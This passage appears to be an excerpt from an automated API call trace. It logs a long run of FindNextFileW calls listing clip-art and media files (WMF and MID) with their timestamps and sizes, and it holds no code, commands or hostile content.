ftCreationTime.dwLowDateTime=0xc14efd00, ftCreationTime.dwHighDateTime=0x1bd4b2e, ftLastAccessTime.dwLowDateTime=0x5133d8d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc14efd00, ftLastWriteTime.dwHighDateTime=0x1bd4b2e, nFileSizeHigh=0x0, nFileSizeLow=0x1ba0, dwReserved0=0x0, dwReserved1=0x0, cFileName="AN00965_.WMF", cAlternateFileName="")) returned 1 [0068.207] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6d83ea00, ftCreationTime.dwHighDateTime=0x1bd4b15, ftLastAccessTime.dwLowDateTime=0x5133d8d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d83ea00, ftLastWriteTime.dwHighDateTime=0x1bd4b15, nFileSizeHigh=0x0, nFileSizeLow=0xd10, dwReserved0=0x0, dwReserved1=0x0, cFileName="AN01039_.WMF", cAlternateFileName="")) returned 1 [0068.207] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x31e92000, ftCreationTime.dwHighDateTime=0x1bd4b15, ftLastAccessTime.dwLowDateTime=0x5eb8e810, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x31e92000, ftLastWriteTime.dwHighDateTime=0x1bd4b15, nFileSizeHigh=0x0, nFileSizeLow=0x63c, dwReserved0=0x0, dwReserved1=0x0, cFileName="AN01044_.WMF", cAlternateFileName="")) returned 1 [0068.207] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa1fda300, ftCreationTime.dwHighDateTime=0x1bd4b21, ftLastAccessTime.dwLowDateTime=0x5eb8e810, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa1fda300, ftLastWriteTime.dwHighDateTime=0x1bd4b21, nFileSizeHigh=0x0, nFileSizeLow=0x1f20, dwReserved0=0x0, dwReserved1=0x0, cFileName="AN01060_.WMF", cAlternateFileName="")) returned 1 [0068.207] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x86dd6400, ftCreationTime.dwHighDateTime=0x1bd4b1e, ftLastAccessTime.dwLowDateTime=0x5133d8d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x86dd6400, ftLastWriteTime.dwHighDateTime=0x1bd4b1e, nFileSizeHigh=0x0, nFileSizeLow=0x728, dwReserved0=0x0, dwReserved1=0x0, cFileName="AN01084_.WMF", cAlternateFileName="")) returned 1 [0068.207] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x54406500, ftCreationTime.dwHighDateTime=0x1bd4b38, ftLastAccessTime.dwLowDateTime=0x5133d8d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x54406500, ftLastWriteTime.dwHighDateTime=0x1bd4b38, nFileSizeHigh=0x0, nFileSizeLow=0x66dc, dwReserved0=0x0, dwReserved1=0x0, cFileName="AN01173_.WMF", cAlternateFileName="")) returned 1 [0068.207] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x530f3800, ftCreationTime.dwHighDateTime=0x1bd4b38, ftLastAccessTime.dwLowDateTime=0x5eb8e810, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x530f3800, ftLastWriteTime.dwHighDateTime=0x1bd4b38, nFileSizeHigh=0x0, nFileSizeLow=0x6cd2, dwReserved0=0x0, dwReserved1=0x0, cFileName="AN01174_.WMF", cAlternateFileName="")) returned 1 [0068.207] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8cbf4f00, ftCreationTime.dwHighDateTime=0x1bd4af6, ftLastAccessTime.dwLowDateTime=0x5eb8e810, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8cbf4f00, ftLastWriteTime.dwHighDateTime=0x1bd4af6, nFileSizeHigh=0x0, nFileSizeLow=0xea2, dwReserved0=0x0, dwReserved1=0x0, cFileName="AN01184_.WMF", cAlternateFileName="")) returned 1 [0068.207] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8335e700, ftCreationTime.dwHighDateTime=0x1bd4af6, ftLastAccessTime.dwLowDateTime=0x5133d8d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8335e700, ftLastWriteTime.dwHighDateTime=0x1bd4af6, nFileSizeHigh=0x0, nFileSizeLow=0x16cc, dwReserved0=0x0, dwReserved1=0x0, cFileName="AN01216_.WMF", cAlternateFileName="")) returned 1 [0068.207] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7fa26000, ftCreationTime.dwHighDateTime=0x1bd4af6, ftLastAccessTime.dwLowDateTime=0x5eb8e810, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7fa26000, ftLastWriteTime.dwHighDateTime=0x1bd4af6, nFileSizeHigh=0x0, nFileSizeLow=0xbc4, dwReserved0=0x0, dwReserved1=0x0, cFileName="AN01218_.WMF", cAlternateFileName="")) returned 1 [0068.207] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x68bb3800, ftCreationTime.dwHighDateTime=0x1bd4b0d, ftLastAccessTime.dwLowDateTime=0x5133d8d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x68bb3800, ftLastWriteTime.dwHighDateTime=0x1bd4b0d, nFileSizeHigh=0x0, nFileSizeLow=0xac4, dwReserved0=0x0, dwReserved1=0x0, cFileName="AN01251_.WMF", cAlternateFileName="")) returned 1 [0068.207] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc436f700, ftCreationTime.dwHighDateTime=0x1bd4b08, ftLastAccessTime.dwLowDateTime=0x5133d8d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc436f700, ftLastWriteTime.dwHighDateTime=0x1bd4b08, nFileSizeHigh=0x0, nFileSizeLow=0x1ccc, dwReserved0=0x0, dwReserved1=0x0, cFileName="AN01545_.WMF", cAlternateFileName="")) returned 1 [0068.207] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe37a5800, ftCreationTime.dwHighDateTime=0x1bd4af9, ftLastAccessTime.dwLowDateTime=0x5eb8e810, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe37a5800, ftLastWriteTime.dwHighDateTime=0x1bd4af9, nFileSizeHigh=0x0, nFileSizeLow=0x1d74, dwReserved0=0x0, dwReserved1=0x0, cFileName="AN02122_.WMF", cAlternateFileName="")) returned 1 [0068.207] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcec9bd00, ftCreationTime.dwHighDateTime=0x1bd4bea, ftLastAccessTime.dwLowDateTime=0x5eb8e810, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xcec9bd00, ftLastWriteTime.dwHighDateTime=0x1bd4bea, nFileSizeHigh=0x0, nFileSizeLow=0x19e8, dwReserved0=0x0, dwReserved1=0x0, cFileName="AN02559_.WMF", cAlternateFileName="")) returned 1 [0068.207] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1b6bc300, ftCreationTime.dwHighDateTime=0x1bd4c00, ftLastAccessTime.dwLowDateTime=0x5133d8d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1b6bc300, ftLastWriteTime.dwHighDateTime=0x1bd4c00, nFileSizeHigh=0x0, nFileSizeLow=0x83c, dwReserved0=0x0, dwReserved1=0x0, cFileName="AN02724_.WMF", cAlternateFileName="")) returned 1 [0068.207] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6c87b100, ftCreationTime.dwHighDateTime=0x1bd4c18, ftLastAccessTime.dwLowDateTime=0x5eb8e810, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6c87b100, ftLastWriteTime.dwHighDateTime=0x1bd4c18, nFileSizeHigh=0x0, nFileSizeLow=0x2418, dwReserved0=0x0, dwReserved1=0x0, cFileName="AN03500_.WMF", cAlternateFileName="")) returned 1 [0068.207] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5133d8d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x928, dwReserved0=0x0, dwReserved1=0x0, cFileName="AN04108_.WMF", cAlternateFileName="")) returned 1 [0068.207] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5eb8e810, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x17ac, dwReserved0=0x0, dwReserved1=0x0, cFileName="AN04117_.WMF", cAlternateFileName="")) returned 1 [0068.207] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5133d8d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xd58, dwReserved0=0x0, dwReserved1=0x0, cFileName="AN04134_.WMF", cAlternateFileName="")) returned 1 [0068.207] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5eb8e810, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xa4c, dwReserved0=0x0, dwReserved1=0x0, cFileName="AN04174_.WMF", cAlternateFileName="")) returned 1 [0068.207] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5eb8e810, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x19ec, dwReserved0=0x0, dwReserved1=0x0, cFileName="AN04191_.WMF", cAlternateFileName="")) returned 1 [0068.207] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5133d8d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1204, dwReserved0=0x0, dwReserved1=0x0, cFileName="AN04195_.WMF", cAlternateFileName="")) returned 1 [0068.207] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5eb8e810, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xc48, dwReserved0=0x0, dwReserved1=0x0, cFileName="AN04196_.WMF", cAlternateFileName="")) returned 1 [0068.207] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5133d8d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1df4, dwReserved0=0x0, dwReserved1=0x0, cFileName="AN04206_.WMF", cAlternateFileName="")) returned 1 [0068.207] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5133d8d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x212c, dwReserved0=0x0, dwReserved1=0x0, cFileName="AN04225_.WMF", cAlternateFileName="")) returned 1 [0068.208] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5eb8e810, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1e7c, dwReserved0=0x0, dwReserved1=0x0, cFileName="AN04235_.WMF", cAlternateFileName="")) returned 1 [0068.208] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x513d5e50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1e7c, dwReserved0=0x0, dwReserved1=0x0, cFileName="AN04267_.WMF", cAlternateFileName="")) returned 1 [0068.208] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x513d5e50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x7e0, dwReserved0=0x0, dwReserved1=0x0, cFileName="AN04269_.WMF", cAlternateFileName="")) returned 1 [0068.208] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5eb8e810, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x9bc, dwReserved0=0x0, dwReserved1=0x0, cFileName="AN04323_.WMF", cAlternateFileName="")) returned 1 [0068.208] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5eb8e810, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xd14, dwReserved0=0x0, dwReserved1=0x0, cFileName="AN04326_.WMF", cAlternateFileName="")) returned 1 [0068.208] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x513d5e50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x10c8, dwReserved0=0x0, dwReserved1=0x0, cFileName="AN04332_.WMF", cAlternateFileName="")) returned 1 [0068.208] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x513d5e50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xc9c, dwReserved0=0x0, dwReserved1=0x0, cFileName="AN04355_.WMF", cAlternateFileName="")) returned 1 [0068.208] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x513d5e50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x12c8, dwReserved0=0x0, dwReserved1=0x0, cFileName="AN04369_.WMF", cAlternateFileName="")) returned 1 [0068.208] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5eb8e810, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1384, dwReserved0=0x0, dwReserved1=0x0, cFileName="AN04384_.WMF", cAlternateFileName="")) returned 1 [0068.208] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5eb8e810, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x138c, dwReserved0=0x0, dwReserved1=0x0, cFileName="AN04385_.WMF", cAlternateFileName="")) returned 1 [0068.208] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcfc41400, ftCreationTime.dwHighDateTime=0x1bd4c15, ftLastAccessTime.dwLowDateTime=0x5f409670, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xcfc41400, ftLastWriteTime.dwHighDateTime=0x1bd4c15, nFileSizeHigh=0x0, nFileSizeLow=0x1cd8, dwReserved0=0x0, dwReserved1=0x0, cFileName="BABY_01.MID", cAlternateFileName="")) returned 1 [0068.208] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5178e0b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1306, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD00116_.WMF", cAlternateFileName="")) returned 1 [0068.208] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2332bb00, ftCreationTime.dwHighDateTime=0x1bd4fa4, ftLastAccessTime.dwLowDateTime=0x5f42f7d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x2332bb00, ftLastWriteTime.dwHighDateTime=0x1bd4fa4, nFileSizeHigh=0x0, nFileSizeLow=0x6906, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD00141_.WMF", cAlternateFileName="")) returned 1 [0068.208] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb983d700, ftCreationTime.dwHighDateTime=0x1bf148e, ftLastAccessTime.dwLowDateTime=0x5f42f7d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb983d700, ftLastWriteTime.dwHighDateTime=0x1bf148e, nFileSizeHigh=0x0, nFileSizeLow=0x7114, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD00146_.WMF", cAlternateFileName="")) returned 1 [0068.208] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1d1cf00, ftCreationTime.dwHighDateTime=0x1bd4fa4, ftLastAccessTime.dwLowDateTime=0x5178e0b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1d1cf00, ftLastWriteTime.dwHighDateTime=0x1bd4fa4, nFileSizeHigh=0x0, nFileSizeLow=0x2d74, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD00155_.WMF", cAlternateFileName="")) returned 1 [0068.208] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfaaac100, ftCreationTime.dwHighDateTime=0x1bd4fa3, ftLastAccessTime.dwLowDateTime=0x5f42f7d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfaaac100, ftLastWriteTime.dwHighDateTime=0x1bd4fa3, nFileSizeHigh=0x0, nFileSizeLow=0x57f4, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD00160_.WMF", cAlternateFileName="")) returned 1 [0068.208] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcafbb900, ftCreationTime.dwHighDateTime=0x1bd4fa3, ftLastAccessTime.dwLowDateTime=0x5178e0b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xcafbb900, ftLastWriteTime.dwHighDateTime=0x1bd4fa3, nFileSizeHigh=0x0, nFileSizeLow=0x3f34, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD00173_.WMF", cAlternateFileName="")) returned 1 [0068.208] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5f42f7d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x4354, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD05119_.WMF", cAlternateFileName="")) returned 1 [0068.208] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5178e0b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x3ef0, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD06102_.WMF", cAlternateFileName="")) returned 1 [0068.208] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5178e0b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x4124, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD06200_.WMF", cAlternateFileName="")) returned 1 [0068.208] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5f455930, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x687c, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD07761_.WMF", cAlternateFileName="")) returned 1 [0068.208] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5f455930, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x133c, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD07804_.WMF", cAlternateFileName="")) returned 1 [0068.208] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, 